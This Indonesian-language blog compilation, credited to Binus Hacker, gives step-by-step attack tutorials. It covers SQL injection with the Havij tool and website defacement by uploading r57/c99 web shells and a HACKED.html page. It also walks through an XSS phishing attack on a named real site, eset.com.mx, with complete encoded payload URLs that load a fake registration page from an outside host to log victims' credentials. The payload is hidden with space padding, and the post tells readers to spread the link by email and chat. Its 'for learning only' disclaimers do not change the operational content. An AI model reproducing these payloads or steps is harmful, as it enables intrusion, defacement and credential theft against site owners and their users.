SQL Injection with Havij

Dunia sekarang sungguh sangat dipermudah, tinggal jadi pemakai sudah bisa langsung jago dalam hal SQL Injection, tanpa harus mengetahui dasar-dasarnya. You can call your self what?

Oke lah, ini hanya sekedar sharing bagaimana caranya SQL Injection Havij:

1. Silakan cari target dengan menggunakan SQL Injection Vulnerability, bisa di cari dan didapat dari exploit-db.com, silakan ditemukan disini: http://www.exploit-db.com/webapps , cari vulnerability yang memiliki keyword “SQL INJECTION“.

2. Kemudian silakan download HAVIJ TOOLS FREE atau DOWNLOAD HAVIJ PRO (Thanks To AcizNinja For Update):

3. Wajib untuk download bantuan & help berikut: PDF HELP & CHM HELP

4. Berikut ini adalah beberapa images HAVIJ TOOLS:

5. Langkah-langkah utama dalam Havij:

• Temukan website yang memiliki Vulnerable SQL Injection
• Masukkan target yang vulnerable tersebut ke tab “Target” di Havij tanpa tanda ‘
• Kemudian klik Analyze
• Menu-menu yang ada silakan dipelajari di HELP PDF & HELP CHM yang sudah di download untuk fungsi masing-masing.

Hal apa saja sih yang bisa didapatkan dengan menggunakan tools ini?

1. Anda bisa melakukan deface website dengan HAVIJ
2. Anda bisa melakukan copy / save database dengan HAVIJ
3. Anda bisa menemukan admin login dengan HAVIJ
4. Anda bisa menjadi administrator website dengan HAVIJ
5. Selanjutnya tergantung dari sejauh mana kelihaian anda dalam mengolah target.
   
   Kalau masih belum puas, berikut disertakan video tutorial mengenai HAVIJ, karena sudah banyak bertebaran, jadi gak perlu bikin video sendiri, silakan langsung aja disimak:
   
   
   Oke all, selamat menikmati shownya.
   Pesan To All: Jangan cari vulnerability *.go.id lagi ya, nanti pada kalang kabut lagi loh 
   Jangan lupa gabung bersama teman-teman lain di: http://forum.binushacker.net

DeFace Website

Let’s DEFACE WEBSITE – DEFACING WEBSITE...

Okelah kalau begitu semuanya, langsung lanjut ajah, skenarionya sebagai berikut:

1. Anda sudah memiliki target website, kalau masih belum silakan cari di google melalui google dork yang anda punya atau bisa melihat Google Dork Remote File Inclusion – Webapps di www.exploit-db.com sampai Anda berhasil mendapatkan Target Website.
2. Setelah mendapatkan target website, silakan upload SHELL INJECT anda, kebetulan saya menggunakan tools sendiri “File Manager Binus Hacker”  (Maaf: tidak untuk dipublikasikan) Anda bisa menggunakan r57shell / c99 shell / lainnya. Toolsnya bisa di download disini untuk rshell / c99:Download Shell Injection
3. Setelah anda mengupload Shell Injection, siapkan halaman “DEFACEMENT PAGE“, kebetulan saya menamainya dengan”HACKED.html“
4. Setelah itu silakan kunjungi website target anda yang sudah di Deface.

Penjelasannya detail & langkah-langkahnya:
1. Silakan cari target di google, misalnya: “inurl:page.php?xxx=” atau “intitle: Google Dork” (Kumpulan google dork banyak tersedia di google, silakan di search aja) atau anda bisa melihat list Google Dork Di www.exploit-db.com , kemudian inject target website tersebut. Nah, kebetulan saya mendapatkan target dibawah & kemudian melakukan aktifitas shell injection, berikut gambarnya:

2. Langkah selanjutnya, saya melakukan upload fmbh.php (File Manager Binus Hacker), Anda bisa menggunakan Rshell / C99 untuk di upload ke website target tersebut. Directory yang saya pakai di webtarget adalah /vservers/silentcat/htdocs/includes/. Jadi ketika saya membuka shell di target menjadi:http://www.target.com/includes/fmbh.php

3. Setelah itu kita siapkan file halaman defacement: “HACKED.html”

Kemudian kita save menjadi: “HACKED.html”

4. Upload “HACKED.html” ke website target tadi, saya melakukan upload di /vservers/silentcat/htdocs/ artinya saya berada di lingkungan home directory.

Upload file HACKED.html, dari local computer yang anda simpan tadi.

Sehingga akan tampak hasil upload file “HACKED.html” sebagai berikut:

Dikarenakan permissionnya “600” (rw——-), artinya hanya Owner saja yang bisa melakukan “read & write” di file tersebut, kita harus merubah permissionnya menjadi “777″ / “755″, kalau 777 artinya semuanya memiliki akses “read, write & execute”, sedangkan saya hanya memakai “755″ biar bisa di baca & eksekusi saja:

5. Jika sudah selesai, maka lihat hasil DEFACE di: “http://www.target.com/hacked.html” , berikut hasil tampilannya:

Nah, sudah selesai.. Cukup mudah melakukan deface website, silakan lakukan eksperimen yang lebih banyak lagi.

Enjoy & Eat It!

Credit by: Binus Hacker

Say "Hi" to me...

Assalamu'alaikum Wr.Wb.

Hmm... Aku ga mau buang waktu dengan basa-basi ga jelas...
OK, let's see...

Mungkin judul yang tepat unutk ini adalah.... "XSS: Internet Explore & Mozilla Firefox"

Kali ini saya ingin berbagi pengalaman, bagaimana melakukan XSS di Internet Explorer 9 & Mozilla Firefox 4.01
 

Apa sih perbedaanya antara keduanya:

• Internet Explorer 9 memiliki anti-xss library yang akan memberikan pop-up peringatan untuk melindungi dari aktifitas XSS. Informasi disini: http://msdn.microsoft.com/en-us/security/aa973814.aspx
  Videonya bisa dilihat disini: http://ecn.channel9.msdn.com/o9/ch9/6/9/6/3/9/4/antiXSS31_2MB_ch9.wmv
• Mozilla tidak memiliki anti-xss library.

Oke yuk mari kita analisa bagaimana XSS ini dapat dilakukan,

Pertama: Internet Explorer 9

1. Secara default, internet explorer 9 akan melakukan proteksi terhadap segala sesuatu yang berbau script, biasanya dalam code “<script></script>“

2. Agar supaya kita dapat melakukan XSS, maka kita harus menon-aktifkan Anti-XSS Library, dengan melakukan “Disable” XSS Filter

3. Setelah di “Disable“, maka XSS Attack bisa dilakukan di Internet Explorer.

Kedua: Mozilla Firefox 4.0.1

1. Mozilla Firefox tidak memiliki Anti-XSS Library, sehingga secara Default kita bisa langsung melakukan XSS.

2. Namun disediakan XSS Filter dari beberapa plug-in (Silakan dicari sendiri)

Oke, yuk mari kita coba seberapa powerfullnya XSS: Cross Site Scripting

Saya mau make Mozilla Firefox 4.0.1 aja deh.

Banyak yang bertanya, apa hebat & bahayanya sih XSS?
Yang tidak mengetahui & belum ber-eksperimen pasti bilang:

• Apa hebatnya sih, cuman nulis di URL doank
• Begituan mah gak ada gunanya
• XSS mah gak bisa dideface halamannya
• Itu kan cuman perubahan address doank

Saya hanya tersenyum ketika mendengar diskusi mengenai hal ini 

Nah, dari sekian banyak bahayanya XSS, mari kita ambil salah satunya “STEALING ACCOUNT IN VULNERABLE WEBSITE“. (Harap Dijadikan Bahan Pembelajaran & Proteksi Diri Saja Ya, Artikel Ini Hanya Untuk Menambah Wawasan)

Dalam hal ini saya memanfaatkan XSS dikombinasikan dengan Human Vulnerability, karena semua pasti sudah mengetahui, bahwa Manusia Adalah Unpatched Vulnerability 

Skenarionya adalah:

1. Kita mendapatkan vulnerable website yang bisa dilakukan XSS
2. Kita membuat sebuah script yang bisa digunakan untuk register / login & membuat sebuah file script (php) yang bisa digunakan untuk mengambil informasi account & menyimpannya di logs.
3. Kita sebarkan linknya ke beberapa email / messenger / chatbox / irc, dsb.
4. Tunggu & kita mendapatkannya deh 

Langkah-langkahnya adalah:

Pertama

• Saya menggunakan vulnerable XSS dari website www.eset.com.mx, ESET merupakan salah satu perusahaan AntiVirus yang juga sangat terkenal di Dunia, namun memiliki kelemahan juga di websitenya.
  
• Test XSS apakah bisa berjalan di website, berikut contohnya:http://www.eset.com.mx/xtrasappz/evalform/index.php?t=emav&promocode=%22%3E%3Ccenter%3E%3Cfont%20size=%22300%22%3EBinus%20Hacker%20Ada%20Disini%3Cbr%3Ehttp://www.binushacker.net%3C/font%3E%3C/center%3E%3C/

• Test cookies (ternyata ada), berhubung artikelnya bukan stealing cookies, kita lewatin aja 
• Oke, sudah ketahuan websitenya vulnerable

Kedua

• Dalam benak, banyak ide, antara login & register pages.
• Akhirnya kembali coding, membuat  page halaman register di ESET

• Kemudian membuat php untuk menerima hasil & menyimpannya di log, berikut:

• Fake register tadi yang saya buat saya simpan di: http://restinpeace.biz/eset/, permission filenya sudah disetting supaya tidak bisa dibaca filenya, hanya bisa melihat directorynya. Hhehe.. 

Ketiga

• Disini kita akan menggunakan html code <iframe>
• Sebelum kita melakukan aksi, maka code XSS: “<iframe src=http://restinpeace.biz/eset/register.php width=1500>” di encode dulu menjadi:%3Ciframe%20src%3Dhttp%3A%2F%2Frestinpeace.biz%2Feset%2Fregister.php%20width%3D1500%3E
• Copy code tersebut ke URL sehingga menjadi:http://www.eset.com.mx/xtrasappz/evalform/index.php?t=emav&promocode=%22%3E%3Ciframe%20src%3Dhttp%3A%2F%2Frestinpeace.biz%2Feset%2Fregister.php%20width%3D1500%3E

• Karena masih kelihatan di URL, maka kita tambahin menggunakan spasi (” “), sehingga URL iframe tidak tampak di address  karena kepanjangan:http://www.eset.com.mx/xtrasappz/evalform/index.php?t=emav&promocode=%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ciframe%20src%3Dhttp%3A%2F%2Frestinpeace.biz%2Feset%2Fregister.php%20width%3D1500%3E, sekarang tidak adak kelihatan lagi di URL Address script XSSnya.

• Sudah selesai page untuk fake register, lanjut ke step selanjutnya

Keempat

• Sebarkan melalui email, chat, messenger dan sebagainya, silakan gunakan cara masing-masing. Anda disini belajar menjadi spammer & phiser (Ingat! Artikel ini hanya untuk pembelajaran, kita tidak akan lebih baik jika melakukan kejahatan, namun akan lebih berguna jika kita memiliki ilmu agar tidak terjebak & tertipu oleh penjahat!)

Kelima

• Kita tunggu hasilnya & kita cek log yang masuk
• Taaaadddddaaaaaa, ada beberapa yang masuk 

Download Source Code:

Kita tidak akan menjadi hebat dengan melakukan kejahatan, namun kita akan jauh lebih baik jika mengetahui ilmu pengetahuan, membagi dengan yang lain, memproteksi diri sendiri. Tuhan Akan Melihat Apa Yang Ada Pada Niat Yang Kita Lakukan Bukan Dari Pendapat Orang.

Jadi untuk semua selamat belajar & semoga bermanfaat.

Di copas dari Binus Hacker

*** BIla ada yg kurang berkenan mohoh hubungi saya.

Wa'alaikumsalam Wr.Wb.